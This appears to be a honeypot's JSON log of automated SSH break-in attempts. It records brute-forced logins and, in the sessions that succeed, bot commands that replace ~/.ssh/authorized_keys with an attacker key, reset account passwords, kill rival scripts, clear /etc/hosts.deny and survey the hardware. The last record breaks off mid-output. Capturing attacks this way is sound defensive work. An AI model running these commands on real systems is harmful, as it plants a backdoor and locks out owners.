{"id":"a91607e8-e524-40e0-9e00-a167432f342e","name":"sullen-marine-impala","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41434,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:51.603044+00:00","ended_at":"2026-08-27T12:47:53.744422+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:32.510468+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:33.133610+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:36.559873+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:36.812421+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:37.158484+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ywYCiJ3Lfkjr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:37.505218+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:37.852375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:39.368636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:39.715838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:41.126443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:41.478909+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:42.279705+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:42.627121+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:43.297112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:43.643826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:44.504751+00:00","kind":"output","latency_ms":null,"data":" 12:47:44 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:44.851208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:45.210078+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:45.557961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:45.926592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:46.274387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:47.034250+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:47 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:47.382863+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:48.006793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:48.354105+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:49.052687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:49.401613+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:49.755183+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:50.101457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:51.256659+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:51.603819+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:53.639805+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"e665c71c-fb6a-4d64-aeba-bcae6fdfe8d0","name":"prickly-velvet-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41450,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:35.352041+00:00","ended_at":"2026-08-27T12:47:36.453911+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4dabd30c-efd9-49e2-aa9f-29ed9f7feed1","name":"wooded-supple-ibex","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41446,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:33.887321+00:00","ended_at":"2026-08-27T12:47:34.663088+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5559e721-6a86-4e90-bdf4-92487a3505ca","name":"salty-murky-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:53.445340+00:00","ended_at":"2026-08-27T12:45:55.408876+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:45:28.295128+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:28.622965+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:32.419915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:34.504039+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:34.833237+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D8eZBoln4LHV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:35.161039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:35.487830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:36.849490+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:36.897323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:45:37.178209+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:45:39.047620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:45:39.379625+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T12:45:40.876622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T12:45:41.208040+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T12:45:43.345245+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T12:45:43.673357+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T12:45:45.312953+00:00","kind":"output","latency_ms":null,"data":" 12:45:45 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T12:45:45.643019+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T12:45:46.771322+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T12:45:47.100930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T12:45:47.768289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T12:45:48.092769+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T12:45:48.345632+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:48 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T12:45:48.671840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T12:45:49.206951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T12:45:49.532936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T12:45:50.015970+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T12:45:50.342822+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T12:45:50.632892+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T12:45:50.962272+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:45:53.119339+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:45:53.446168+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:45:55.312264+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3a8dc6c6-23f1-4d90-bd5d-43805cefd14e","name":"muted-granite-koala","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45466,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:31.117745+00:00","ended_at":"2026-08-27T12:45:32.320954+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c23a44c5-a723-4247-855a-f2824f680fc6","name":"mighty-gentle-raven","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45450,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:29.367940+00:00","ended_at":"2026-08-27T12:45:30.466394+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2b4decfd-7187-4a21-81f0-e9b3932d8cf6","name":"prairie-ancient-loris","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57150,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:43:47.799358+00:00","ended_at":"2026-08-27T12:43:49.271755+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T12:43:28.798380+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:43:29.124185+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:43:32.758090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:43:33.264445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:43:33.595119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nJYj0H81MYIrP\\nJYj0H81MYIrP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:43:33.918757+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nJYj0H81MYIrP\\nJYj0H81MYIrP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:43:34.246725+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:43:35.033597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:43:35.361584+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:43:36.818577+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:43:37.149233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:43:38.409112+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:43:38.744371+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:43:39.412927+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:43:39.739883+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:43:40.095777+00:00","kind":"output","latency_ms":null,"data":" 12:43:40 up 7 days, 9:33, 0 user, load average: 0.2, 0.19, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:43:40.424218+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:43:41.164080+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:43:41.496493+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:43:42.221119+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:43:42.554140+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:43:43.125610+00:00","kind":"output","latency_ms":null,"data":"top - 12:43:43 up 7 days, 9:33, 0 user, load average: 0.2, 0.19, 0.14\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:43:43.453586+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:43:43.831145+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:43:44.158010+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:43:44.917285+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:43:45.246106+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:43:45.942413+00:00","kind":"output","latency_ms":null,"data":"lighthouse"},{"seq":29,"at":"2026-08-27T12:43:46.270440+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:43:47.471220+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:43:47.800127+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:43:49.174101+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lighthouse","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"4a06d353-e5fa-439b-af03-44d6519588a4","name":"lanky-tender-grebe","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51230,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:31.516689+00:00","ended_at":"2026-08-27T12:43:32.659640+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"lighthouse","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"15fe404b-3a67-4ae1-8c0b-541ce99fc67a","name":"solemn-granite-salmon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51226,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:29.869308+00:00","ended_at":"2026-08-27T12:43:30.815127+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c574abd1-bd65-4620-886b-60c576ef5dea","name":"indigo-distant-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41254,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:41:52.190247+00:00","ended_at":"2026-08-27T12:41:54.311017+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:41:33.631011+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:41:33.958520+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:41:37.480737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:41:38.336333+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:41:38.665172+00:00","kind":"input","latency_ms":null,"data":"echo -e \"uno50\\n9ytrPaJ9kilO\\n9ytrPaJ9kilO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:41:38.990197+00:00","kind":"input","latency_ms":null,"data":"echo \"uno50\\n9ytrPaJ9kilO\\n9ytrPaJ9kilO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:41:39.318035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:41:39.832104+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:41:40.157718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:41:41.519899+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:41:41.851653+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:41:43.296217+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:41:43.625014+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:41:44.400011+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:41:44.727695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:41:45.137803+00:00","kind":"output","latency_ms":null,"data":" 12:41:45 up 7 days, 9:31, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:41:45.469049+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:41:46.237624+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:41:46.571185+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:41:46.875387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:41:47.201667+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:41:47.885124+00:00","kind":"output","latency_ms":null,"data":"top - 12:41:47 up 7 days, 9:31, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 